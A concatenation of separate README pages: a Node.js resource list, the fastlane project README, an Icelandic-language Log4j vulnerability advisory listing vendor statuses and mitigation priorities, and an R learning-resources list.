- [Learn to build apps and APIs with Node.js](https://learnnode.com/friend/AWESOME) - Video course by Wes Bos.
- [Real Time Web with Node.js](https://www.codeschool.com/courses/real-time-web-with-node-js)
- [Learn and Understand Node.js](https://www.udemy.com/understand-nodejs)
### Cheatsheets
- [Express.js](https://github.com/azat-co/cheatsheets/blob/master/express4)
- [Stream FAQs](https://github.com/stephenplusplus/stream-faqs) - Answering common questions about streams, covering pagination, events, and more.
- [Strong Node.js](https://github.com/jesusprubio/strong-node) - Checklist for source code security analysis of a Node.js web service.
### Tools
- [OctoLinker](https://chrome.google.com/webstore/detail/octolinker/jlmafbaeoofdegohdhinkhilhclaklkp) - Chrome extension that linkifies dependencies in package.json, .js, .jsx, .coffee and .md files on GitHub.
- [npm-hub](https://chrome.google.com/webstore/detail/npm-hub/kbbbjimdjbjclaebffknlabpogocablj) - Chrome extension to display npm dependencies at the bottom of a repo's readme.
- [RunKit](http://blog.tonicdev.com/2015/09/30/embedded-tonic.html) - Embed a Node.js environment on any website.
- [RequireBin](http://requirebin.com) - Shareable JavaScript programs powered by npm and browserify.
- [github-npm-stats](https://chrome.google.com/webstore/detail/github-npm-stats/oomfflokggoffaiagenekchfnpighcef) - Chrome extension that displays npm download stats on GitHub.
- [npm semver calculator](https://semver.npmjs.com) - Visually explore what versions of a package a semver range matches.
- [CodeSandbox](https://codesandbox.io/s/node-http-server-node) - Online IDE and prototyping.
### Community
- [Gitter](https://gitter.im/nodejs/node)
- [`#node.js` on Freenode](http://webchat.freenode.net/?channels=node.js)
- [Stack Overflow](http://stackoverflow.com/questions/tagged/node.js)
- [Reddit](https://www.reddit.com/r/node)
- [Twitter](https://twitter.com/nodejs)
- [Hashnode](https://hashnode.com/n/nodejs)
- [Discord](https://discordapp.com/invite/96WGtJt)
### Miscellaneous
- [nodebots](http://nodebots.io) - Robots powered by JavaScript.
- [node-module-boilerplate](https://github.com/sindresorhus/node-module-boilerplate) - Boilerplate to kickstart creating a node module.
- [modern-node](https://github.com/sheerun/modern-node) - Toolkit for creating node modules with Jest, Prettier, ESLint, and Standard.
- [generator-nm](https://github.com/sindresorhus/generator-nm) - Scaffold out a node module.
- [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - Tips, tricks, and resources for working with Node.js on Microsoft platforms.
- [Module Requests & Ideas](https://github.com/sindresorhus/module-requests) - Request a JavaScript module you wish existed or get ideas for modules.
## Related lists
- [awesome-npm](https://github.com/sindresorhus/awesome-npm) - Resources and tips for using npm.
- [awesome-cross-platform-nodejs](https://github.com/bcoe/awesome-cross-platform-nodejs) - Resources for writing and testing cross-platform code.
|
<h3 align="center">
<img src="fastlane/assets/fastlane_text.png" alt="fastlane Logo" width=500 />
</h3>
[](https://twitter.com/FastlaneTools)
[](https://github.com/fastlane/fastlane/blob/master/LICENSE)
[](https://rubygems.org/gems/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
- Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues)
If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
<table id='team'>
<tr>
<td id='maksym-grebenets'>
<a href='https://github.com/mgrebenets'>
<img src='https://github.com/mgrebenets.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
</td>
<td id='josh-holtz'>
<a href='https://github.com/joshdholtz'>
<img src='https://github.com/joshdholtz.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4>
</td>
<td id='jérôme-lacoste'>
<a href='https://github.com/lacostej'>
<img src='https://github.com/lacostej.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4>
</td>
<td id='andrew-mcburney'>
<a href='https://github.com/AndrewMcBurney'>
<img src='https://github.com/AndrewMcBurney.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4>
</td>
<td id='joshua-liebowitz'>
<a href='https://github.com/taquitos'>
<img src='https://github.com/taquitos.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4>
</td>
</tr>
<tr>
<td id='helmut-januschka'>
<a href='https://github.com/hjanuschka'>
<img src='https://github.com/hjanuschka.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4>
</td>
<td id='iulian-onofrei'>
<a href='https://github.com/revolter'>
<img src='https://github.com/revolter.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4>
</td>
<td id='aaron-brager'>
<a href='https://github.com/getaaron'>
<img src='https://github.com/getaaron.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4>
</td>
<td id='jorge-revuelta-h'>
<a href='https://github.com/minuscorp'>
<img src='https://github.com/minuscorp.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4>
</td>
<td id='kohki-miki'>
<a href='https://github.com/giginet'>
<img src='https://github.com/giginet.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4>
</td>
</tr>
<tr>
<td id='luka-mirosevic'>
<a href='https://github.com/lmirosevic'>
<img src='https://github.com/lmirosevic.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
<td id='manu-wallner'>
<a href='https://github.com/milch'>
<img src='https://github.com/milch.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4>
</td>
<td id='olivier-halligon'>
<a href='https://github.com/AliSoftware'>
<img src='https://github.com/AliSoftware.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
</td>
<td id='matthew-ellis'>
<a href='https://github.com/matthewellis'>
<img src='https://github.com/matthewellis.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4>
</td>
<td id='jan-piotrowski'>
<a href='https://github.com/janpio'>
<img src='https://github.com/janpio.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4>
</td>
</tr>
<tr>
<td id='felix-krause'>
<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4>
</td>
<td id='jimmy-dee'>
<a href='https://github.com/jdee'>
<img src='https://github.com/jdee.png?size=140'>
</a>
<h4 align='center'>Jimmy Dee</h4>
</td>
<td id='fumiya-nakamura'>
<a href='https://github.com/nafu'>
<img src='https://github.com/nafu.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4>
</td>
<td id='danielle-tomlinson'>
<a href='https://github.com/DanToml'>
<img src='https://github.com/DanToml.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4>
</td>
<td id='stefan-natchev'>
<a href='https://github.com/snatchev'>
<img src='https://github.com/snatchev.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4>
</td>
</tr>
</table>
Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_.
## Code of Conduct
Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md).
## License
This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file.
> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
# Log4j
## Upplýsingar
Þann 9. desember 2021 var opinberaður alvarlegur veikleiki ([CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) & [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)) í hugbúnaðarpakka sem kallast Apache Log4j. Þessi hugbúnaður er notaður sem hjálpartól í mörgum þekktum og útbreiddum hugbúnaði. Um er að ræða Java hugbúnað sem finnst á fjölmörgum stöðum á internetinu og innan fyrirtækja.
Þann 16 desember 2021 var opinberaður annar veikleiki [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105) sem fær CVSS skorið 7.5 af 10. Þessi veikleiki getur kæft (DDoS) hugbúnað byggðan á Log4J þannig að hann hætti að virka. Gallinn er að finna í útgáfum 2.0-alpha1 til 2.16.0. Mælt er með að uppfæra í 2.17.0.
Hlutverk Log4j sem hjálpartól er að halda utan um og skrá upplýsingar sem geta meðal annars verið upplýsingar sem notendur kerfa t.d. vefkerfa láta frá sér, en getur einnig verið upplýsingar sem geta komið í gegnum tölvupóst eða aðrar leiðir svo lengi sem Log4j er að taka við upplýsingunum.
Gott dæmi gæti verið vefur sem keyrir WordPress en notar Apache Solr til að vinna úr (e. index) og bjóða upp á leitarvél. Þegar notandi slær inn texta í leitarstreng og ef leitarstrengurinn er skráður í gegnum Log4j í log skrá til geymslu þá getur utanaðkomandi aðili slegið inn sérstaka strengi sem Log4j keyrir (e. executes).
Í þeim tilfellum getur utanaðkomandi aðili verið kominn með aðgang að tölvunni eða kerfinu sem um ræðir. Ef utanaðkomandi aðili nær aðgengi að tölvunni eða kerfinu þá getur hann lesið eða hlerað upplýsingar sem geta verið viðkvæmar og mögulega stjórnað tölvunni.
Í flestum tilfellum sem þetta hjálpartól er notað er verið að notast við hugbúnað frá þekktum hugbúnaðarframleiðendum og í þeim tilfellum þurfa þeir að gefa út uppfærslu. Það getur tekið tíma og því getur verið nauðsynlegt að grípa til tímabundinna aðgerða.
## Aðgerðir
### Forgangur 1
* Meta hvort að fyrirtækið þitt sé með kerfi opin fyrir allt internetið. Dæmi geta verið VPN þjónustur, vefkerfi eða myndavélakerfi.
* Er um að ræða Java hugbúnað? Erfitt getur verið að sjá hvort um er að ræða Java hugbúnað, best er að leita að upplýsingum frá framleiðenda.
* Ef ekki er hægt að uppfæra og ganga úr skugga að uppfærslan leysi vandamálið, meta þá hvort hægt sé að takmarka aðgengi strax t.d. loka alveg frá interneti eða opna fyrir takmarkað IP tölu mengi (IP range).
* Möguleiki er að færa vefþjónustuna á bakvið kerfi sem hreinsar mögulega árásir.
* Ekki gleyma innri java kerfum sem mögulega eru að taka við upplýsingum frá aðilum á internetinu og vinna úr (e. process).
### Forgangur 2
* Meta allan innri hugbúnað sem er að nota Java.
* Útbúa uppfærslu eða aðgerðaráætlun til að taka á vandamálinu.
* Fylgjast með tilkynningum frá hugbúnaðarframleiðendum.
* Fylgjast vel með fréttum og tilkynningum um vandamálið.
## Greinar
### Nánari upplýsingar
* [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)
* [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)
* [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105)
* [Fjarskiptastofa – Netöryggssveitin CERT-IS hefur virkjað samhæfingarferli vegna alvarlegs veikleika í algengum hugbúnaði](https://www.fjarskiptastofa.is/fjarskiptastofa/tolfraedi-og-gagnasafn/frettasafn/frett/fr%C3%A9ttir/netoryggssveitin-cert-is-hefur-virkjad-samhaefingarstod-vegna-alvarlegs-veikleika-i-algengum-hugbunadi)
### Ráðleggingar eða yfirlýsingar íslenskum fyrirtækjum
* [Advania](https://www.advania.is/um-advania/frettaveita/efnisveita/frett/2021/12/13/Vidbragd-vid-Log4j-oryggisveikleikanum/)
* [Opin Kerfi](https://opinkerfi.is/vidbrogd-vid-log4j-veikleika-cve-2021-44228/)
* [Origo](https://www.origo.is/um-origo/frettir/alvarlegur-oryggisveikleiki)
* [Sensa](https://sensa.is/log4j2-veikleikinn/)
* [Síminn](https://www.siminn.is/frettir/vegna-log4j-veikleika)
* [Vodafone](https://vodafone.is/frettir/frettir/2021/12/16/Log4j-veikleiki-Unnid-i-samraemi-vid-aaetlanir/)
* [Wise](https://wise.is/2021/12/13/vidbragd-vid-log4j-oryggisveikleikanum-2/)
* [Þekking](https://www.thekking.is/oryggisveikleiki-i-java-kodasafni-log4shell)
### Ráðleggingar eða yfirlýsingar frá birgjum og hugbúnaðarframleiðendum
* [Amazon](https://aws.amazon.com/security/security-bulletins/AWS-2021-006/)
* [Microsoft](https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/)
* [Nutanix](https://download.nutanix.com/alerts/Security_Advisory_0023.pdf)
* [F5](https://support.f5.com/csp/article/K19026212)
* [Fortinet](https://www.fortiguard.com/psirt/FG-IR-21-245)
* [HPe](https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04215en_us)
* [Dell](https://www.dell.com/support/kbdoc/en-is/000194372/dsn-2021-007-dell-response-to-apache-log4j-remote-code-execution-vulnerability)
* [Cisco](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd)
* [Red Hat](https://access.redhat.com/security/vulnerabilities/RHSB-2021-009)
* [VMWare](https://www.vmware.com/security/advisories/VMSA-2021-0028.html)
* [Unifi](https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1)
* [VEEAM](https://forums.veeam.com/veeam-backup-for-azure-f59/log4j-cve-2021-44228-vulnerability-t78225.html#p438231)
* [Atlassian](https://confluence.atlassian.com/security/multiple-products-security-advisory-log4j-vulnerable-to-remote-code-execution-cve-2021-44228-1103069934.html)
* [CloudFlare](https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/)
* [Ahsay](https://wiki.ahsay.com/doku.php?id=public__colon__announcement__colon__cve-2021-44228_log4j)
* [Solarwinds](https://www.solarwinds.com/trust-center/security-advisories/cve-2021-44228)
## Algengur hugbúnaður á íslandi
Hér er að finna lista yfir hugbúnað, búnað og kerfi sem eru algeng á Íslandi. Upplýsingar um stöðu eru byggðar á heimildum og mælt er með að fólk kynnir sér upplýsingar frá framleiðanda betur þar sem við á.
* **Í lagi** = Inniheldur ekki veikleikann.
* **í lagi\*** = Inniheldur ekki veikleikann en sjá athugasemd/heimild.
* **Berskjaldað** = Kerfið inniheldur veikleikann og mælt er með að kynna sér betur hvort að úrlausn sé komin.
* **Óvíst** = Óljóst er hvort að kerfið inniheldur veikleikann eða ekki.
?> Hlekkir undir **Heimild** eru tilvísanir í ráðleggingar eða skýringar frá framleiðanda.
| Hugbúnaður | Staða | Uppfært | Athugasemd | Heimild |
| ---------- | ----- | ------- | ---------- | ------- |
| Office 365 | Í lagi | 15.12.21 | Microsoft telur að veikleikinn eigi ekki við. | [Nánari upplýsingar](https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ ) |
| Microsoft 365 | Í lagi | 15.12.21 | Microsoft telur að veikleikinn eigi ekki við. | [Nánari upplýsingar](https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ ) |
| PowerBI | Í lagi | 15.12.21 | Microsoft telur að veikleikinn eigi ekki við. | [Nánari upplýsingar](https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ ) |
| Minecraft | Berskjaldað | 15.12.21 | Þarf að uppfæra í 1.18.1. Útgáfur undir 1.7 eru í lagi. | [Nánari upplýsingar](https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition ) |
| Unifi Video | Berskjaldað | 18.12.21 | Ekki er í boði patch frá framleiðanda, kerfi komið úr stuðningi | [Nánari upplýsingar](https://aikester.com/2021/addressing-the-log4j-vulnerability-in-unifi-video-3.10.13/ ) |
| Unifi Controller | Berskjaldað | 15.12.21 | Komið út patch sem þarf að uppfæra í. | [Nánari upplýsingar](https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1 ) |
| Cisco Webex Meetings Server | Bergskjaldað | 15.12.21 | Komið út fix CWMS-3.0MR4SP2 og CWMS-4.0MR4SP2 (CSCwa47283) | |
| Cisco Identity Services Engine (ISE) | Berskjaldað | 15.12.21 | Hotfix komið fyrir 2.4, 2.6, 2.7, 3.0 og 3.1 (CSCwa47133) | [Nánari upplýsingar](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd) |
| Cisco AnyConnect Secure Mobility Client | Í lagi | 15.12.21 | Anyconnect client er í lagi | |
| Cisco Meraki | Í lagi | 15.12.21 | GO, MR, MS, MT, MV, MX, SM og Z-series | |
| Cisco Adaptive Security Appliance (ASA) & ASAv Software | Í lagi | 15.12.21 | ASA eldveggir í lagi | |
| Cisco Adaptive Security Device Manager | Í lagi | 15.12.21 | ASDM management viðmót í lagi | |
| Cisco Firepower Thread Defense (FTD) managed by Cisco Firepower Management Center | Í lagi | 15.12.21 | | |
| Cisco Firepower Threat Defense (FTD) managed by Firepower Device Manager (FDM) | Berskjaldað | 15.12.21 | Cisco er að vinna að lausn (CSCwa46963) | |
| Cisco Nexus switches | Í lagi | 15.12.21 | Á við um 3000, 5500, 5600, 6000, 7000, 9000 | |
| Cisco Aironet Access Points | Í lagi | 15.12.21 | Cisco aironet þráðlausir punktar | |
| Cisco Catalyst 9100 Series Access Points | Í lagi | 15.12.21 | Cisco catalyst 9100 þráðlausir punktar | |
| Cisco Catalyst 9800 Series Wireless Controllers | Í lagi | 15.12.21 | Cisco Catalyst 9800 þráðlausir controllerar | |
| Cisco IOS Access Points | Í lagi | 15.12.21 | Cisco IOS þráðlausir punktar | |
| Cisco DNA Center | Berskjaldað | 15.12.21 | Fix komið (CSCwa47322) | |
| Cisco Email Security Appliance (ESA) | Í lagi | 15.12.21 | | |
| Cisco Web Security Appliance (WSA) | Í lagi | 15.12.21 | | |
| Cisco Modeling Labs | Í lagi | 15.12.21 | | |
| Cisco Duo Security | Í lagi | 15.12.21 | Innihélt veikleika, en leyst | |
| Cisco Umbrella DNS / SIG | Í lagi | 15.12.21 | Innihélt veikleika en leyst | |
| Cisco SecureX | Í lagi | 15.12.21 | | |
| Cisco IOS and IOS XE Software | Í lagi | 15.12.21 | | |
| Cisco IOS XR Software | Í lagi | 15.12.21 | | |
| Cisco Webex Meetings | Í lagi | 15.12.21 | Innihélt veikleika, en leyst | |
| HPE SimpliVity | Berskjaldað | 15.12.21 | HPE vinnur að lausn | |
| HPE StoreServ Management Console (SSMC) All versions | Berskjaldað | 15.12.21 | HPE vinnur að lausn | |
| HPE Hyper Converged 380 All versions | Berskjaldað | 15.12.21 | | |
| HPE 3PAR Service Processor All versions | Berskjaldað | 15.12.21 | HPE vinnur að lausn | |
| Nagios | Í lagi | 15.12.21 | Nagios Core og Nagios XI | [Nánari upplýsingar](https://www.nagios.com/news/2021/12/update-on-apache-log4j-vulnerability/ ) |
| Zabbix | Í lagi | 18.12.21 | Vöktunarkerfið Zabbix | [Nánari upplýsingar](https://blog.zabbix.com/zabbix-not-affected-by-the-log4j-exploit/17873/ ) |
| 1Password | Óvíst | 15.12.21 | Opinber tilkynning ekki komin, en gefið til kynna að það sé í lagi | [Nánari upplýsingar](https://1password.community/discussion/comment/622615 ) |
| Citrix Hypervisor (XenServer) | Í lagi | 15.12.21 | XenServer er í lagi | [Nánari upplýsingar](https://support.citrix.com/article/CTX335705 ) |
| Citrix Virtual Apps and Desktops (XenApp & XenDesktop) | Í skoðun | 15.12.21 | Er í greiningu hjá framleiðanda | [Nánari upplýsingar](https://support.citrix.com/article/CTX335705 ) |
| Ahsay | Bergskjaldað | 15.12.21 | AhsayCBS, AhsayOBM, AhsayACB, AhsayUBS 8.5.4.86 (og nýrra) og 7.17.2.2 (með hotfix 7.17.2.127+) og útgáfur undir 6.29.x) í lagi | [Nánari upplýsingar](https://wiki.ahsay.com/doku.php?id=public__colon__announcement__colon__cve-2021-44228_log4j ) |
| TimeXtender | Í lagi | 15.12.21 | | [Nánari upplýsingar](https://support.timextender.com/hc/en-us/articles/4413724826897-Apache-Log4j ) |
| MongoDB Atlas Search | Berskjaldað | 15.12.21 | | [Nánari upplýsingar](https://www.mongodb.com/blog/post/log4shell-vulnerability-cve-2021-44228-and-mongodb ) |
| MongoDB aðrar vörur | Í lagi | 15.12.21 | | |
| MariaDB | Í lagi | 15.12.21 | | [Nánari upplýsingar](https://mariadb.com/resources/blog/log4shell-and-mariadb-cve-2021-44228/ ) |
| Amazon S3 | Berskjaldað | 15.21.21 | | |
| Solarwinds Server & Application Monitor | Berskjaldað | 15.12.21 | | [Nánari upplýsingar](https://www.solarwinds.com/trust-center/security-advisories/cve-2021-44228 ) |
| Solarwinds Database Performance Analyzer | Berskjaldað | 15.12.21 | | [Nánari upplýsingar](https://www.solarwinds.com/trust-center/security-advisories/cve-2021-44228 ) |
| Solarwinds Orion Platform | Í lagi | 15.12.21 | | |
| Enghouse QMS | Berskjaldað | 16.12.21 | | [Nánari upplýsingar](https://github.com/opinkerfi/log4j/blob/560ff977d620513bf82f4eea15b4d863736bc9b1/docs/EXTERNAL_QMS_Enghouse_Log4j_vulnerability_statement_131221.pdf ) |
| Tableau / Tableau Reader, Tableau Public Desktop Client | Berskjaldað | 16.12.21 | | [Nánari upplýsingar](https://kb.tableau.com/articles/issue/Apache-Log4j2-vulnerability-Log4shell ) |
| ATlassian Bitbucket Server | Berskjaldað | 16.12.21 | | |
| Atlassian Confluence | Í lagi | 16.12.21 | | |
| Atlassian Jira | Í lagi | 16.12.21 | | |
| Splunk viðbætur | Berskjaldað | 16.12.21 | | [Nánari upplýsingar](https://www.splunk.com/en_us/blog/bulletins/splunk-security-advisory-for-apache-log4j-cve-2021-44228.html ) |
| Jenksins | Í lagi | 16.12.21 | Jenksins er í lagi, en skoða þarf viðbætur sérstaklega vel | [Nánari upplýsingar](https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ ) |
| Discord | óvíst | 16.12.21 | | |
| Apache Kafka | Í lagi | 16.12.21 | | [Nánari upplýsingar](https://kafka.apache.org/cve-list ) |
| Plex | Í lagi* | 18.12.21 | Formlega tilkynningu vantar frá framleiðanda | [Nánari upplýsingar](https://www.reddit.com/r/PleX/comments/rdolem/the_internet_is_on_fire_with_this_log4j/ ) |
| Plesk | Í lagi | 16.12.21 | | [Nánari upplýsingar](https://support.plesk.com/hc/en-us/articles/4412182812818-CVE-2021-44228-vulnerability-in-log4j-package-of-Apache ) |
| Red Hat Enterprise Linux | Í lagi* | 19.12.21 | Red Hat Linux er í lagi, en mælt er með að keyra update | [Nánari upplýsingar](https://access.redhat.com/security/vulnerabilities/RHSB-2021-009 ) |
| Red Hat Ansible | Í lagi | 19.12.21 | | |
| Red Hat ýmsar vörur | Í lagi | 19.12.21 | m.a. Certificate Sysetm, Directory Server, CloudForms, Satellite, Ceph, Gluster, Openstack platform (fyrir utan 13), RHEV | [Nánari upplýsingar](https://access.redhat.com/security/vulnerabilities/RHSB-2021-009 ) |
| Red Hat ýmsar vörur | Berskjaldað | 19.12.21 | m.a. Red Hat Enterprise Application Platform 7, Openshift 4, Openshift 3.11, Fuse, OpenShift Logging, Openstack Platform 13, Process Automation Manager | [Nánari upplýsingar](https://access.redhat.com/security/vulnerabilities/RHSB-2021-009 ) |
| Elasticserach | Berskjaldað | 19.12.21 | | [Nánari upplýsingar](https://discuss.elastic.co/t/elasticsearch-5-0-0-5-6-10-and-6-0-0-6-3-2-log4j-cve-2021-44228-cve-2021-45046-remediation/292054 ) |
| Zammad | Berskjaldað | 19.12.21 | Verkbeiðnakerfið Zammad nýtir elasticsearch | [Nánari upplýsingar](https://community.zammad.org/t/cve-2021-44228-cve-2021-45046-elasticsearch-users-be-aware/8256 ) |
| Datto | Í lagi | 20.12.21 | Sem dæmi Autotask og aðrar datto vörur | [Nánari upplýsingar](https://www.datto.com/blog/dattos-response-to-log4shell) |
| 3CX | Í lagi | 21.12.21 | 3CX hugbúnaður virðist vera í lagi | [Nánari upplýsingar](https://www.3cx.com/community/threads/log4j-vulnerability-cve-2021-44228.86436/#post-407911) |
| 7-Zip | Í lagi | 21.12.21 | | [Mánari upplýsingar](https://sourceforge.net/p/sevenzip/discussion/45797/thread/b977bbd4d1/) |
| Activestate | Í lagi | 21.12.21 | | [Nánari upplýsingar](https://www.activestate.com/blog/activestate-statement-java-log4j-vulnerability/) |
| Audiocodes | Berskjaldað | 21.12.21 | ARM og SmartTap eru berskjaldað og mælt með að uppfæra. Aðrar í lagi | [Nánari upplýsingar](https://services.audiocodes.com/app/answers/kbdetail/a_id/2225) |
## Um þessa síðu
Þessi síða er styrkt af Opnum Kerfum og er viðhaldið af starfsfólki Opinna Kerfa. Ef þú ert með athugasemd eða upplýsingar sem þú vilt sjá á þessari síðu þá er það velkomið að senda inn breytingar og viðbætur.
### Get ég hjálpað?
Öllum er frjálst að leggja til breytingar á þessari síðu. Ef þú vilt leggja lið, þá mælum við með eftirfarandi verklagi:
1. Forka [log4j](https://github.com/opinkerfi/log4j) kóðahirsluna inn á github
2. Uppfæra efni á forsíðu eða stofna aðrar síður.
3. Framkvæma breytingar á forsíðu `docs/Readme.md` eða með því að stofna aðrar síður undir `docs/`
4. Búa til pull request sem verður yfirfarið.
?> Síðan er skjöluð í markdown texta og birt gegnum [Docsify](https://docsify.js.org). Ef þú ert ekki kunnug(ur) Markdown þá má sjá dæmi um rithátt [hér](https://www.markdownguide.org/cheat-sheet/)
|
<div align="center">
<div>
<a href=https://www.r-project.org/about.html><img width="400" id="im" src=https://user-images.githubusercontent.com/64165327/95934136-26177f00-0d9e-11eb-8bdc-748ee65ad17a.png></a>
</div>
<a href="https://awesome.re">
<img src="https://awesome.re/badge-flat2.svg" alt="Awesome"></a>
</div>
<br>
> The `Awesome R Learning Resources` repository is meant to help users from all skill levels and backgrounds deepen their understanding of `R`, which is a programming language and environment for statistical computing and graphics.
<br>
> The `R` `Discord` server is a friendly and dedicated community for `R` enthusiasts, programmers, statisticians, data scientists, and students. Whether you are looking to connect with fellow useRs, have awesome data viz to share, or just needed help with your stats assignment, you are at the right place!
<div align="center">
To join the R Discord server, please click the discoRd badge below. <br>
<a href="https://discord.gg/6fcReuUHgg">
<img alt="Discord" src="https://img.shields.io/discord/676433858782298142?label=discoRd%20server&logo=R&logoColor=blue"></a>
<br>
</div>
<br>
## **Contents**
- [Topic Areas](#topic-areas)
- [Blogs](#blogs)
- [Books](#books)
- [Communities of Practice](#communities-of-practice)
- [Podcasts](#podcasts)
- [YouTube](#youtube)
## Topic Areas
### Comprehensive R Tutorials
- [Data Flair](https://data-flair.training/blogs/r-tutorials-home/) - The tutorials are grouped by skill level (beginner, intermediate, expert).
- [Intro to R course by Fabio Votta - part 1](https://colab.research.google.com/drive/1dLsdGbkvgn1JbWgsy9Z-pFmPd_2MG4Xu?usp=sharing#scrollTo=vGnW7giO9AeD) - A fun introduction to R programming grouped into categories (operators, objects, functions, exercises, and data frames).
- [Intro to R course by Fabio Votta - part 2](https://colab.research.google.com/drive/14CRElnKewnp5MnlxhqVu6OOcIXd-Bkaj?usp=sharing) - A fun introduction to R programming grouped into categories (data manipulation and cleaning featuring the janitor, tidyr, and dplyr packages).
- [Introduction to Data Analysis with R](https://jmbuhr.de/dataIntro20/) - This is a lecture series with videos, scripts and exercises introducing R and the tidyverse as well as statistical concepts.
- [R CODER](https://r-coder.com) - The tutorials are grouped into categories (introduction, data structures, data wrangling, programming, import & export, graphics) that cover in-depth all the basic needs for someone starting learning the R programming language.
- [Tutorials Point](https://www.tutorialspoint.com/r/index.htm) - The tutorials are grouped into categories (R tutorial, R Data Interfaces, R Charts & Graphs, R Statistics Examples, R Useful Resources) that cover in-depth all the basic needs for someone starting learning the R programming language.
### Functions
- [stat.berkeley - Introduction to Functions](https://www.stat.berkeley.edu/~statcur/Workshop2/Presentations/functions.pdf) - An introduction to functions in the R language by the organizers of Integrating Computing into the Statistics Curricula (U.C. Berkeley).
### Generative Art
- [12 Months of aRt](https://www.williamrchase.com/work/art/) - In 2019, William Chase began a project to make a new series of artwork every month made entirely with R. In this project, he explored different techniques, developed algorithms, and provided detailed posts detailing the development process for each month.
### Joining Data
- [Joining Data in R with dplyr](https://rpubs.com/williamsurles/293454) - Course notes from the Joining Data in R with dplyr course on DataCamp. Topics include mutating joins, filtering joins and set operations, assembling data, advanced joining. Author: William Surles.
### Math
